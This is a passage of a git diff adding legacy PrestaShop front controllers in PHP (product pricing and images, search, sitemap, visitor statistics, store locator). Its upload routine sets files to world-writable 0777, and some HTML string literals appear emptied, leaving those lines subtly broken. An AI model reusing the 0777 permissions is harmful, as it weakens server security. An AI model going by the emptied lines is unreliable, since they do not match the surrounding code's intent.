Product::getPriceStatic($this->product->id, true, null, 6); + if (Product::$_taxCalculationMethod == PS_TAX_INC) + $product_price_with_tax = Tools::ps_round($product_price_with_tax, 2); + $product_price_without_eco_tax = (float)$product_price_with_tax - $this->product->ecotax; + + $ecotax_rate = (float)Tax::getProductEcotaxRate($this->context->cart->{Configuration::get('PS_TAX_ADDRESS_TYPE')}); + $ecotax_tax_amount = Tools::ps_round($this->product->ecotax, 2); + if (Product::$_taxCalculationMethod == PS_TAX_INC && (int)Configuration::get('PS_TAX')) + $ecotax_tax_amount = Tools::ps_round($ecotax_tax_amount * (1 + $ecotax_rate / 100), 2); + + $id_currency = (int)$this->context->cookie->id_currency; + $id_product = (int)$this->product->id; + $id_shop = $this->context->shop->id; + + $quantity_discounts = SpecificPrice::getQuantityDiscounts($id_product, $id_shop, $id_currency, $id_country, $id_group, null, true, (int)$this->context->customer->id); + foreach ($quantity_discounts as &$quantity_discount) + if ($quantity_discount['id_product_attribute']) + { + $combination = new Combination((int)$quantity_discount['id_product_attribute']); + $attributes = $combination->getAttributesName((int)$this->context->language->id); + foreach ($attributes as $attribute) + $quantity_discount['attributes'] = $attribute['name'].' - '; + $quantity_discount['attributes'] = rtrim($quantity_discount['attributes'], ' - '); + } + + $product_price = $this->product->getPrice(Product::$_taxCalculationMethod == PS_TAX_INC, false); + $address = new Address($this->context->cart->{Configuration::get('PS_TAX_ADDRESS_TYPE')}); + $this->context->smarty->assign(array( + 'quantity_discounts' => $this->formatQuantityDiscounts($quantity_discounts, $product_price, (float)$tax, $ecotax_tax_amount), + 'ecotax_tax_inc' => $ecotax_tax_amount, + 'ecotax_tax_exc' => Tools::ps_round($this->product->ecotax, 2), + 'ecotaxTax_rate' => $ecotax_rate, + 'productPriceWithoutEcoTax' => (float)$product_price_without_eco_tax, + 'group_reduction' => (1 - $group_reduction), + 'no_tax' => Tax::excludeTaxeOption() || !$this->product->getTaxesRate($address), + 'ecotax' => (!count($this->errors) && $this->product->ecotax > 0 ? Tools::convertPrice((float)$this->product->ecotax) : 0), + 'tax_enabled' => Configuration::get('PS_TAX') + )); + } + + /** + * Assign template vars related to images + */ + protected function assignImages() + { + $images = $this->product->getImages((int)$this->context->cookie->id_lang); + $product_images = array(); + + if(isset($images[0])) + $this->context->smarty->assign('mainImage', $images[0]); + foreach ($images as $k => $image) + { + if ($image['cover']) + { + $this->context->smarty->assign('mainImage', $image); + $cover = $image; + $cover['id_image'] = (Configuration::get('PS_LEGACY_IMAGES') ? ($this->product->id.'-'.$image['id_image']) : $image['id_image']); + $cover['id_image_only'] = (int)$image['id_image']; + } + $product_images[(int)$image['id_image']] = $image; + } + + if (!isset($cover)) + { + if(isset($images[0])) + { + $cover = $images[0]; + $cover['id_image'] = (Configuration::get('PS_LEGACY_IMAGES') ? ($this->product->id.'-'.$images[0]['id_image']) : $images[0]['id_image']); + $cover['id_image_only'] = (int)$images[0]['id_image']; + } + else + $cover = array( + 'id_image' => $this->context->language->iso_code.'-default', + 'legend' => 'No picture', + 'title' => 'No picture' + ); + } + $size = Image::getSize(ImageType::getFormatedName('large')); + $this->context->smarty->assign(array( + 'have_image' => isset($cover['id_image'])? array((int)$cover['id_image']) : Product::getCover((int)Tools::getValue('id_product')), + 'cover' => $cover, + 'imgWidth' => (int)$size['width'], + 'mediumSize' => Image::getSize(ImageType::getFormatedName('medium')), + 'largeSize' => Image::getSize(ImageType::getFormatedName('large')), + 'homeSize' => Image::getSize(ImageType::getFormatedName('home')), + 'col_img_dir' => _PS_COL_IMG_DIR_)); + if (count($product_images)) + $this->context->smarty->assign('images', $product_images); + } + + /** + * Assign template vars related to attribute groups and colors + */ + protected function assignAttributesGroups() + { + $colors = array(); + $groups = array(); + + // @todo (RM) should only get groups and not all declination ? + $attributes_groups = $this->product->getAttributesGroups($this->context->language->id); + if (is_array($attributes_groups) && $attributes_groups) + { + $combination_images = $this->product->getCombinationImages($this->context->language->id); + $combination_prices_set = array(); + foreach ($attributes_groups as $k => $row) + { + // Color management + if ((isset($row['attribute_color']) && $row['attribute_color']) || (file_exists(_PS_COL_IMG_DIR_.$row['id_attribute'].'.jpg'))) + { + $colors[$row['id_attribute']]['value'] = $row['attribute_color']; + $colors[$row['id_attribute']]['name'] = $row['attribute_name']; + if (!isset($colors[$row['id_attribute']]['attributes_quantity'])) + $colors[$row['id_attribute']]['attributes_quantity'] = 0; + $colors[$row['id_attribute']]['attributes_quantity'] += (int)$row['quantity']; + } + if (!isset($groups[$row['id_attribute_group']])) + $groups[$row['id_attribute_group']] = array( + 'name' => $row['public_group_name'], + 'group_type' => $row['group_type'], + 'default' => -1, + ); + + $groups[$row['id_attribute_group']]['attributes'][$row['id_attribute']] = $row['attribute_name']; + if ($row['default_on'] && $groups[$row['id_attribute_group']]['default'] == -1) + $groups[$row['id_attribute_group']]['default'] = (int)$row['id_attribute']; + if (!isset($groups[$row['id_attribute_group']]['attributes_quantity'][$row['id_attribute']])) + $groups[$row['id_attribute_group']]['attributes_quantity'][$row['id_attribute']] = 0; + $groups[$row['id_attribute_group']]['attributes_quantity'][$row['id_attribute']] += (int)$row['quantity']; + + + $combinations[$row['id_product_attribute']]['attributes_values'][$row['id_attribute_group']] = $row['attribute_name']; + $combinations[$row['id_product_attribute']]['attributes'][] = (int)$row['id_attribute']; + $combinations[$row['id_product_attribute']]['price'] = (float)$row['price']; + + // Call getPriceStatic in order to set $combination_specific_price + if (!isset($combination_prices_set[(int)$row['id_product_attribute']])) + { + Product::getPriceStatic((int)$this->product->id, false, $row['id_product_attribute'], 6, null, false, true, 1, false, null, null, null, $combination_specific_price); + $combination_prices_set[(int)$row['id_product_attribute']] = true; + $combinations[$row['id_product_attribute']]['specific_price'] = $combination_specific_price; + } + $combinations[$row['id_product_attribute']]['ecotax'] = (float)$row['ecotax']; + $combinations[$row['id_product_attribute']]['weight'] = (float)$row['weight']; + $combinations[$row['id_product_attribute']]['quantity'] = (int)$row['quantity']; + $combinations[$row['id_product_attribute']]['reference'] = $row['reference']; + $combinations[$row['id_product_attribute']]['unit_impact'] = $row['unit_price_impact']; + $combinations[$row['id_product_attribute']]['minimal_quantity'] = $row['minimal_quantity']; + if ($row['available_date'] != '0000-00-00') + $combinations[$row['id_product_attribute']]['available_date'] = $row['available_date']; + else + $combinations[$row['id_product_attribute']]['available_date'] = ''; + + if (!isset($combination_images[$row['id_product_attribute']][0]['id_image'])) + $combinations[$row['id_product_attribute']]['id_image'] = -1; + else + { + $combinations[$row['id_product_attribute']]['id_image'] = $id_image = (int)$combination_images[$row['id_product_attribute']][0]['id_image']; + if ($row['default_on'] && $id_image > 0) + { + if (isset($this->context->smarty->tpl_vars['images']->value)) + $product_images = $this->context->smarty->tpl_vars['images']->value; + if (is_array($product_images) && isset($product_images[$id_image])) + { + $product_images[$id_image]['cover'] = 1; + $this->context->smarty->assign('mainImage', $product_images[$id_image]); + if (count($product_images)) + $this->context->smarty->assign('images', $product_images); + } + if (isset($this->context->smarty->tpl_vars['cover']->value)) + $cover = $this->context->smarty->tpl_vars['cover']->value; + if (is_array($cover) && is_array($product_images)) + { + $product_images[$cover['id_image']]['cover'] = 0; + if (isset($product_images[$id_image])) + $cover = $product_images[$id_image]; + $cover['id_image'] = (Configuration::get('PS_LEGACY_IMAGES') ? ($this->product->id.'-'.$id_image) : (int)$id_image); + $cover['id_image_only'] = (int)$id_image; + $this->context->smarty->assign('cover', $cover); + } + } + } + } + + // wash attributes list (if some attributes are unavailables and if allowed to wash it) + if (!Product::isAvailableWhenOutOfStock($this->product->out_of_stock) && Configuration::get('PS_DISP_UNAVAILABLE_ATTR') == 0) + { + foreach ($groups as &$group) + foreach ($group['attributes_quantity'] as $key => &$quantity) + if (!$quantity) + unset($group['attributes'][$key]); + + foreach ($colors as $key => $color) + if (!$color['attributes_quantity']) + unset($colors[$key]); + } + foreach ($combinations as $id_product_attribute => $comb) + { + $attribute_list = ''; + foreach ($comb['attributes'] as $id_attribute) + $attribute_list .= '\''.(int)$id_attribute.'\','; + $attribute_list = rtrim($attribute_list, ','); + $combinations[$id_product_attribute]['list'] = $attribute_list; + } + $this->context->smarty->assign(array( + 'groups' => $groups, + 'combinations' => $combinations, + 'colors' => (count($colors)) ? $colors : false, + 'combinationImages' => $combination_images)); + } + } + + /** + * Get and assign attributes combinations informations + */ + protected function assignAttributesCombinations() + { + $attributes_combinations = Product::getAttributesInformationsByProduct($this->product->id); + foreach ($attributes_combinations as &$ac) + foreach ($ac as &$val) + $val = str_replace('-', '_', Tools::link_rewrite(str_replace(array(',', '.'), '-', $val))); + $this->context->smarty->assign('attributesCombinations', $attributes_combinations); + } + + /** + * Assign template vars related to category + */ + protected function assignCategory() + { + // Assign category to the template + if ($this->category !== false && Validate::isLoadedObject($this->category) && $this->category->inShop() && $this->category->isAssociatedToShop()) + { + $path = Tools::getPath($this->category->id, $this->product->name, true); + $this->context->smarty->assign(array( + 'category' => $this->category, + 'subCategories' => $this->category->getSubCategories($this->context->language->id, true), + 'id_category_current' => (int)$this->category->id, + 'id_category_parent' => (int)$this->category->id_parent, + 'return_category_name' => Tools::safeOutput($this->category->name) + )); + } + elseif (Category::inShopStatic($this->product->id_category_default, $this->context->shop)) + { + $cat_default = new Category((int)$this->product->id_category_default); + if (Validate::isLoadedObject($cat_default) && $cat_default->active && $cat_default->isAssociatedToShop()) + $path = Tools::getPath((int)$this->product->id_category_default, $this->product->name); + } + if (!isset($path) || !$path) + $path = Tools::getPath((int)$this->context->shop->id_category, $this->product->name); + $this->context->smarty->assign('path', $path); + + $this->context->smarty->assign('categories', Category::getHomeCategories($this->context->language->id)); + $this->context->smarty->assign(array('HOOK_PRODUCT_FOOTER' => Hook::exec('displayFooterProduct', array('product' => $this->product, 'category' => $this->category)))); + + } + + protected function transformDescriptionWithImg($desc) + { + $reg = '/\[img\-([0-9]+)\-(left|right)\-([a-zA-Z0-9-_]+)\]/'; + while (preg_match($reg, $desc, $matches)) + { + $link_lmg = $this->context->link->getImageLink($this->product->link_rewrite, $this->product->id.'-'.$matches[1], $matches[3]); + $class = $matches[2] == 'left' ? 'class="imageFloatLeft"' : 'class="imageFloatRight"'; + $html_img = ''; + $desc = str_replace($matches[0], $html_img, $desc); + } + return $desc; + } + + protected function pictureUpload() + { + if (!$field_ids = $this->product->getCustomizationFieldIds()) + return false; + $authorized_file_fields = array(); + foreach ($field_ids as $field_id) + if ($field_id['type'] == Product::CUSTOMIZE_FILE) + $authorized_file_fields[(int)$field_id['id_customization_field']] = 'file'.(int)$field_id['id_customization_field']; + $indexes = array_flip($authorized_file_fields); + foreach ($_FILES as $field_name => $file) + if (in_array($field_name, $authorized_file_fields) && isset($file['tmp_name']) && !empty($file['tmp_name'])) + { + $file_name = md5(uniqid(rand(), true)); + if ($error = ImageManager::validateUpload($file, (int)Configuration::get('PS_PRODUCT_PICTURE_MAX_SIZE'))) + $this->errors[] = $error; + + $product_picture_width = (int)Configuration::get('PS_PRODUCT_PICTURE_WIDTH'); + $product_picture_height = (int)Configuration::get('PS_PRODUCT_PICTURE_HEIGHT'); + $tmp_name = tempnam(_PS_TMP_IMG_DIR_, 'PS'); + if ($error || (!$tmp_name || !move_uploaded_file($file['tmp_name'], $tmp_name))) + return false; + /* Original file */ + if (!ImageManager::resize($tmp_name, _PS_UPLOAD_DIR_.$file_name)) + $this->errors[] = Tools::displayError('An error occurred during the image upload process.'); + /* A smaller one */ + elseif (!ImageManager::resize($tmp_name, _PS_UPLOAD_DIR_.$file_name.'_small', $product_picture_width, $product_picture_height)) + $this->errors[] = Tools::displayError('An error occurred during the image upload process.'); + elseif (!chmod(_PS_UPLOAD_DIR_.$file_name, 0777) || !chmod(_PS_UPLOAD_DIR_.$file_name.'_small', 0777)) + $this->errors[] = Tools::displayError('An error occurred during the image upload process.'); + else + $this->context->cart->addPictureToProduct($this->product->id, $indexes[$field_name], Product::CUSTOMIZE_FILE, $file_name); + unlink($tmp_name); + } + return true; + } + + protected function textRecord() + { + if (!$field_ids = $this->product->getCustomizationFieldIds()) + return false; + + $authorized_text_fields = array(); + foreach ($field_ids as $field_id) + if ($field_id['type'] == Product::CUSTOMIZE_TEXTFIELD) + $authorized_text_fields[(int)$field_id['id_customization_field']] = 'textField'.(int)$field_id['id_customization_field']; + + $indexes = array_flip($authorized_text_fields); + foreach ($_POST as $field_name => $value) + if (in_array($field_name, $authorized_text_fields) && !empty($value)) + { + if (!Validate::isMessage($value)) + $this->errors[] = Tools::displayError('Invalid message'); + else + $this->context->cart->addTextFieldToProduct($this->product->id, $indexes[$field_name], Product::CUSTOMIZE_TEXTFIELD, $value); + } + else if (in_array($field_name, $authorized_text_fields) && empty($value)) + $this->context->cart->deleteCustomizationToProduct((int)$this->product->id, $indexes[$field_name]); + } + + protected function formTargetFormat() + { + $customization_form_target = Tools::safeOutput(urldecode($_SERVER['REQUEST_URI'])); + foreach ($_GET as $field => $value) + if (strncmp($field, 'group_', 6) == 0) + $customization_form_target = preg_replace('/&group_([[:digit:]]+)=([[:digit:]]+)/', '', $customization_form_target); + if (isset($_POST['quantityBackup'])) + $this->context->smarty->assign('quantityBackup', (int)$_POST['quantityBackup']); + $this->context->smarty->assign('customizationFormTarget', $customization_form_target); + } + + protected function formatQuantityDiscounts($specific_prices, $price, $tax_rate, $ecotax_amount) + { + foreach ($specific_prices as $key => &$row) + { + $row['quantity'] = &$row['from_quantity']; + if ($row['price'] >= 0) // The price may be directly set + { + $cur_price = (Product::$_taxCalculationMethod == PS_TAX_EXC ? $row['price'] : $row['price'] * (1 + $tax_rate / 100)) + (float)$ecotax_amount; + if ($row['reduction_type'] == 'amount') + $cur_price -= (Product::$_taxCalculationMethod == PS_TAX_INC ? $row['reduction'] : $row['reduction'] / (1 + $tax_rate / 100)); + else + $cur_price *= 1 - $row['reduction']; + $row['real_value'] = $price - $cur_price; + } + else + { + if ($row['reduction_type'] == 'amount') + $row['real_value'] = Product::$_taxCalculationMethod == PS_TAX_INC ? $row['reduction'] : $row['reduction'] / (1 + $tax_rate / 100); + else + $row['real_value'] = $row['reduction'] * 100; + } + $row['nextQuantity'] = (isset($specific_prices[$key + 1]) ? (int)$specific_prices[$key + 1]['from_quantity'] : -1); + } + return $specific_prices; + } +} \ No newline at end of file diff --git a/controllers/front/SearchController.php b/controllers/front/SearchController.php new file mode 100755 index 0000000..3e1a543 --- /dev/null +++ b/controllers/front/SearchController.php @@ -0,0 +1,153 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class SearchControllerCore extends FrontController +{ + public $php_self = 'search'; + public $instant_search; + public $ajax_search; + + /** + * Initialize search controller + * @see FrontController::init() + */ + public function init() + { + parent::init(); + + $this->instant_search = Tools::getValue('instantSearch'); + + $this->ajax_search = Tools::getValue('ajaxSearch'); + + if ($this->instant_search || $this->ajax_search) + { + $this->display_header = false; + $this->display_footer = false; + } + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + $query = Tools::replaceAccentedChars(urldecode(Tools::getValue('q'))); + if ($this->ajax_search) + { + $searchResults = Search::find((int)(Tools::getValue('id_lang')), $query, 1, 10, 'position', 'desc', true); + foreach ($searchResults as &$product) + $product['product_link'] = $this->context->link->getProductLink($product['id_product'], $product['prewrite'], $product['crewrite']); + die(Tools::jsonEncode($searchResults)); + } + + if ($this->instant_search && !is_array($query)) + { + $this->productSort(); + $this->n = abs((int)(Tools::getValue('n', Configuration::get('PS_PRODUCTS_PER_PAGE')))); + $this->p = abs((int)(Tools::getValue('p', 1))); + $search = Search::find($this->context->language->id, $query, 1, 10, 'position', 'desc'); + Hook::exec('actionSearch', array('expr' => $query, 'total' => $search['total'])); + $nbProducts = $search['total']; + $this->pagination($nbProducts); + $this->context->smarty->assign(array( + 'products' => $search['result'], // DEPRECATED (since to 1.4), not use this: conflict with block_cart module + 'search_products' => $search['result'], + 'nbProducts' => $search['total'], + 'search_query' => $query, + 'instant_search' => $this->instant_search, + 'homeSize' => Image::getSize(ImageType::getFormatedName('home')))); + } + else if (($query = Tools::getValue('search_query', Tools::getValue('ref'))) && !is_array($query)) + { + $this->productSort(); + $this->n = abs((int)(Tools::getValue('n', Configuration::get('PS_PRODUCTS_PER_PAGE')))); + $this->p = abs((int)(Tools::getValue('p', 1))); + $query = Tools::replaceAccentedChars(urldecode($query)); + $search = Search::find($this->context->language->id, $query, $this->p, $this->n, $this->orderBy, $this->orderWay); + Hook::exec('actionSearch', array('expr' => $query, 'total' => $search['total'])); + $nbProducts = $search['total']; + $this->pagination($nbProducts); + $this->context->smarty->assign(array( + 'products' => $search['result'], // DEPRECATED (since to 1.4), not use this: conflict with block_cart module + 'search_products' => $search['result'], + 'nbProducts' => $search['total'], + 'search_query' => $query, + 'homeSize' => Image::getSize(ImageType::getFormatedName('home')))); + } + else if (($tag = urldecode(Tools::getValue('tag'))) && !is_array($tag)) + { + $nbProducts = (int)(Search::searchTag($this->context->language->id, $tag, true)); + $this->pagination($nbProducts); + $result = Search::searchTag($this->context->language->id, $tag, false, $this->p, $this->n, $this->orderBy, $this->orderWay); + Hook::exec('actionSearch', array('expr' => $tag, 'total' => count($result))); + $this->context->smarty->assign(array( + 'search_tag' => $tag, + 'products' => $result, // DEPRECATED (since to 1.4), not use this: conflict with block_cart module + 'search_products' => $result, + 'nbProducts' => $nbProducts, + 'homeSize' => Image::getSize(ImageType::getFormatedName('home')))); + } + else + { + $this->context->smarty->assign(array( + 'products' => array(), + 'search_products' => array(), + 'pages_nb' => 1, + 'nbProducts' => 0)); + } + $this->context->smarty->assign(array('add_prod_display' => Configuration::get('PS_ATTRIBUTE_CATEGORY_DISPLAY'), 'comparator_max_item' => Configuration::get('PS_COMPARATOR_MAX_ITEM'))); + + $this->setTemplate(_PS_THEME_DIR_.'search.tpl'); + } + + public function displayHeader($display = true) + { + if (!$this->instant_search && !$this->ajax_search) + parent::displayHeader(); + else + $this->context->smarty->assign('static_token', Tools::getToken(false)); + } + + public function displayFooter($display = true) + { + if (!$this->instant_search && !$this->ajax_search) + parent::displayFooter(); + } + + public function setMedia() + { + parent::setMedia(); + + if (!$this->instant_search && !$this->ajax_search) + $this->addCSS(_THEME_CSS_DIR_.'product_list.css'); + + if (Configuration::get('PS_COMPARATOR_MAX_ITEM')) + $this->addJS(_THEME_JS_DIR_.'products-comparison.js'); + } +} diff --git a/controllers/front/SitemapController.php b/controllers/front/SitemapController.php new file mode 100755 index 0000000..f5e46c4 --- /dev/null +++ b/controllers/front/SitemapController.php @@ -0,0 +1,71 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class SitemapControllerCore extends FrontController +{ + public $php_self = 'sitemap'; + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'sitemap.css'); + $this->addJS(_THEME_JS_DIR_.'tools/treeManagement.js'); + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + $this->context->smarty->assign('categoriesTree', Category::getRootCategory()->recurseLiteCategTree(0)); + $this->context->smarty->assign('categoriescmsTree', CMSCategory::getRecurseCategory($this->context->language->id, 1, 1, 1)); + $this->context->smarty->assign('voucherAllowed', (int)CartRule::isFeatureActive()); + + if(Module::isInstalled('blockmanufacturer')) + { + $blockmanufacturer = Module::getInstanceByName('blockmanufacturer'); + $this->context->smarty->assign('display_manufacturer_link', isset($blockmanufacturer->active) ? (bool)$blockmanufacturer->active : false); + } + else + $this->context->smarty->assign('display_manufacturer_link', 0); + + if(Module::isInstalled('blocksupplier')) + { + $blocksupplier = Module::getInstanceByName('blocksupplier'); + $this->context->smarty->assign('display_supplier_link', isset($blocksupplier->active) ? (bool)$blocksupplier->active : false); + } + else + $this->context->smarty->assign('display_supplier_link', 0); + + $this->context->smarty->assign('PS_DISPLAY_SUPPLIERS', Configuration::get('PS_DISPLAY_SUPPLIERS')); + $this->context->smarty->assign('display_store', Configuration::get('PS_STORES_DISPLAY_SITEMAP')); + + $this->setTemplate(_PS_THEME_DIR_.'sitemap.tpl'); + } +} diff --git a/controllers/front/StatisticsController.php b/controllers/front/StatisticsController.php new file mode 100755 index 0000000..b583d28 --- /dev/null +++ b/controllers/front/StatisticsController.php @@ -0,0 +1,89 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class StatisticsControllerCore extends FrontController +{ + public $display_header = false; + public $display_footer = false; + + protected $param_token; + + public function postProcess() + { + $this->param_token = Tools::getValue('token'); + if (!$this->param_token) + die; + + if ($_POST['type'] == 'navinfo') + $this->processNavigationStats(); + else if ($_POST['type'] == 'pagetime') + $this->processPageTime(); + else + exit; + } + + /** + * Log statistics on navigation (resolution, plugins, etc.) + */ + protected function processNavigationStats() + { + $id_guest = (int)Tools::getValue('id_guest'); + if (sha1($id_guest._COOKIE_KEY_) != $this->param_token) + die; + + $guest = new Guest($id_guest); + $guest->javascript = true; + $guest->screen_resolution_x = (int)Tools::getValue('screen_resolution_x'); + $guest->screen_resolution_y = (int)Tools::getValue('screen_resolution_y'); + $guest->screen_color = (int)Tools::getValue('screen_color'); + $guest->sun_java = (int)Tools::getValue('sun_java'); + $guest->adobe_flash = (int)Tools::getValue('adobe_flash'); + $guest->adobe_director = (int)Tools::getValue('adobe_director'); + $guest->apple_quicktime = (int)Tools::getValue('apple_quicktime'); + $guest->real_player = (int)Tools::getValue('real_player'); + $guest->windows_media = (int)Tools::getValue('windows_media'); + $guest->update(); + } + + /** + * Log statistics on time spend on pages + */ + protected function processPageTime() + { + $id_connection = (int)Tools::getValue('id_connections'); + $time = (int)Tools::getValue('time'); + $time_start = Tools::getValue('time_start'); + $id_page = (int)Tools::getValue('id_page'); + + if (sha1($id_connection.$id_page.$time_start._COOKIE_KEY_) != $this->param_token) + die; + + if ($time <= 0) + die; + + Connection::setPageTime($id_connection, $id_page, substr($time_start, 0, 19), $time); + } +} \ No newline at end of file diff --git a/controllers/front/StoresController.php b/controllers/front/StoresController.php new file mode 100755 index 0000000..eee67cd --- /dev/null +++ b/controllers/front/StoresController.php @@ -0,0 +1,285 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class StoresControllerCore extends FrontController +{ + public $php_self = 'stores'; + + /** + * Initialize stores controller + * @see FrontController::init() + */ + public function init() + { + parent::init(); + + if (!extension_loaded('Dom')) + { + $this->errors[] = Tools::displayError('PHP "Dom" extension has not been loaded.'); + $this->context->smarty->assign('errors', $this->errors); + } + } + + /** + * get formatted string address + */ + protected function processStoreAddress($store) + { + $ignore_field = array( + 'firstname', + 'lastname' + ); + + $out_datas = array(); + + $address_datas = AddressFormat::getOrderedAddressFields($store['id_country'], false, true); + $state = (isset($store['id_state'])) ? new State($store['id_state']) : null; + + foreach ($address_datas as $data_line) + { + $data_fields = explode(' ', $data_line); + $addr_out = array(); + + $data_fields_mod = false; + foreach ($data_fields as $field_item) + { + $field_item = trim($field_item); + if (!in_array($field_item, $ignore_field) && !empty($store[$field_item])) + { + $addr_out[] = ($field_item == 'city' && $state && isset($state->iso_code) && strlen($state->iso_code)) ? + $store[$field_item].', '.$state->iso_code : $store[$field_item]; + $data_fields_mod = true; + } + } + if ($data_fields_mod) + $out_datas[] = implode(' ', $addr_out); + } + + $out = implode('
', $out_datas); + return $out; + } + + /** + * Assign template vars for simplified stores + */ + protected function assignStoresSimplified() + { + $stores = Db::getInstance()->executeS(' + SELECT s.*, cl.name country, st.iso_code state + FROM '._DB_PREFIX_.'store s + '.Shop::addSqlAssociation('store', 's').' + LEFT JOIN '._DB_PREFIX_.'country_lang cl ON (cl.id_country = s.id_country) + LEFT JOIN '._DB_PREFIX_.'state st ON (st.id_state = s.id_state) + WHERE s.active = 1 AND cl.id_lang = '.(int)$this->context->language->id); + + foreach ($stores as &$store) + { + $store['has_picture'] = file_exists(_PS_STORE_IMG_DIR_.(int)($store['id_store']).'.jpg'); + if ($working_hours = $this->renderStoreWorkingHours($store)) + $store['working_hours'] = $working_hours; + } + + $this->context->smarty->assign(array( + 'simplifiedStoresDiplay' => true, + 'stores' => $stores + )); + } + + public function renderStoreWorkingHours($store) + { + global $smarty; + + $days[1] = 'Monday'; + $days[2] = 'Tuesday'; + $days[3] = 'Wednesday'; + $days[4] = 'Thursday'; + $days[5] = 'Friday'; + $days[6] = 'Saturday'; + $days[7] = 'Sunday'; + + $days_datas = array(); + $hours = array_filter(unserialize($store['hours'])); + if (!empty($hours)) + { + for ($i = 1; $i < 8; $i++) + { + if (isset($hours[(int)($i) - 1])) + { + $hours_datas = array(); + $hours_datas['hours'] = $hours[(int)($i) - 1]; + $hours_datas['day'] = $days[$i]; + $days_datas[] = $hours_datas; + } + } + $smarty->assign('days_datas', $days_datas); + $smarty->assign('id_country', $store['id_country']); + return $this->context->smarty->fetch(_PS_THEME_DIR_.'store_infos.tpl'); + } + return false; + } + + public function getStores() + { + $distanceUnit = Configuration::get('PS_DISTANCE_UNIT'); + if (!in_array($distanceUnit, array('km', 'mi'))) + $distanceUnit = 'km'; + + if (Tools::getValue('all') == 1) + { + $stores = Db::getInstance()->executeS(' + SELECT s.*, cl.name country, st.iso_code state + FROM '._DB_PREFIX_.'store s + '.Shop::addSqlAssociation('store', 's').' + LEFT JOIN '._DB_PREFIX_.'country_lang cl ON (cl.id_country = s.id_country) + LEFT JOIN '._DB_PREFIX_.'state st ON (st.id_state = s.id_state) + WHERE s.active = 1 AND cl.id_lang = '.(int)$this->context->language->id); + } + else + { + $distance = (int)(Tools::getValue('radius', 100)); + $multiplicator = ($distanceUnit == 'km' ? 6371 : 3959); + + $stores = Db::getInstance()->executeS(' + SELECT s.*, cl.name country, st.iso_code state, + ('.(int)($multiplicator).' + * acos( + cos(radians('.(float)(Tools::getValue('latitude')).')) + * cos(radians(latitude)) + * cos(radians(longitude) - radians('.(float)(Tools::getValue('longitude')).')) + + sin(radians('.(float)(Tools::getValue('latitude')).')) + * sin(radians(latitude)) + ) + ) distance, + cl.id_country id_country + FROM '._DB_PREFIX_.'store s + '.Shop::addSqlAssociation('store', 's').' + LEFT JOIN '._DB_PREFIX_.'country_lang cl ON (cl.id_country = s.id_country) + LEFT JOIN '._DB_PREFIX_.'state st ON (st.id_state = s.id_state) + WHERE s.active = 1 AND cl.id_lang = '.(int)$this->context->language->id.' + HAVING distance < '.(int)($distance).' + ORDER BY distance ASC + LIMIT 0,20'); + } + + return $stores; + } + + /** + * Assign template vars for classical stores + */ + protected function assignStores() + { + $this->context->smarty->assign('hasStoreIcon', file_exists(_PS_IMG_DIR_.Configuration::get('PS_STORES_ICON'))); + + $distanceUnit = Configuration::get('PS_DISTANCE_UNIT'); + if (!in_array($distanceUnit, array('km', 'mi'))) + $distanceUnit = 'km'; + + $this->context->smarty->assign(array( + 'distance_unit' => $distanceUnit, + 'simplifiedStoresDiplay' => false, + 'stores' => $this->getStores() + )); + } + + /** + * Display the Xml for showing the nodes in the google map + */ + protected function displayAjax() + { + $stores = $this->getStores(); + $dom = new DOMDocument('1.0'); + $node = $dom->createElement('markers'); + $parnode = $dom->appendChild($node); + + $days[1] = 'Monday'; + $days[2] = 'Tuesday'; + $days[3] = 'Wednesday'; + $days[4] = 'Thursday'; + $days[5] = 'Friday'; + $days[6] = 'Saturday'; + $days[7] = 'Sunday'; + + foreach ($stores as $store) + { + $other = ''; + $node = $dom->createElement('marker'); + $newnode = $parnode->appendChild($node); + $newnode->setAttribute('name', $store['name']); + $newnode->setAttribute('note', $store['note']); + $address = $this->processStoreAddress($store); + + $other .= $this->renderStoreWorkingHours($store); + $newnode->setAttribute('addressNoHtml', strip_tags(str_replace('
', ' ', $address))); + $newnode->setAttribute('address', $address); + $newnode->setAttribute('other', $other); + $newnode->setAttribute('phone', $store['phone']); + $newnode->setAttribute('id_store', (int)($store['id_store'])); + $newnode->setAttribute('has_store_picture', file_exists(_PS_STORE_IMG_DIR_.(int)($store['id_store']).'.jpg')); + $newnode->setAttribute('lat', (float)($store['latitude'])); + $newnode->setAttribute('lng', (float)($store['longitude'])); + if (isset($store['distance'])) + $newnode->setAttribute('distance', (int)($store['distance'])); + } + + header('Content-type: text/xml'); + die($dom->saveXML()); + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + if (Configuration::get('PS_STORES_SIMPLIFIED')) + $this->assignStoresSimplified(); + else + $this->assignStores(); + + $this->context->smarty->assign(array( + 'mediumSize' => Image::getSize(ImageType::getFormatedName('medium')), + 'defaultLat' => (float)Configuration::get('PS_STORES_CENTER_LAT'), + 'defaultLong' => (float)Configuration::get('PS_STORES_CENTER_LONG'), + 'searchUrl' => $this->context->link->getPageLink('stores'), + 'logo_store' => Configuration::get('PS_STORES_ICON') + )); + + $this->setTemplate(_PS_THEME_DIR_.'stores.tpl'); + } + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'stores.css'); + if (!Configuration::get('PS_STORES_SIMPLIFIED')) + $this->addJS(_THEME_JS_DIR_.'stores.js'); + $default_country = new Country((int)Configuration::get('PS_COUNTRY_DEFAULT')); + $this->addJS('http://maps.google.com/maps/api/js?sensor=true&region='.substr($default_country->iso_code, 0, 2)); + } +} diff --git a/controllers/front/SupplierController.php b/controllers/front/SupplierController.php new file mode 100755 index 0000000..5d39df6 --- 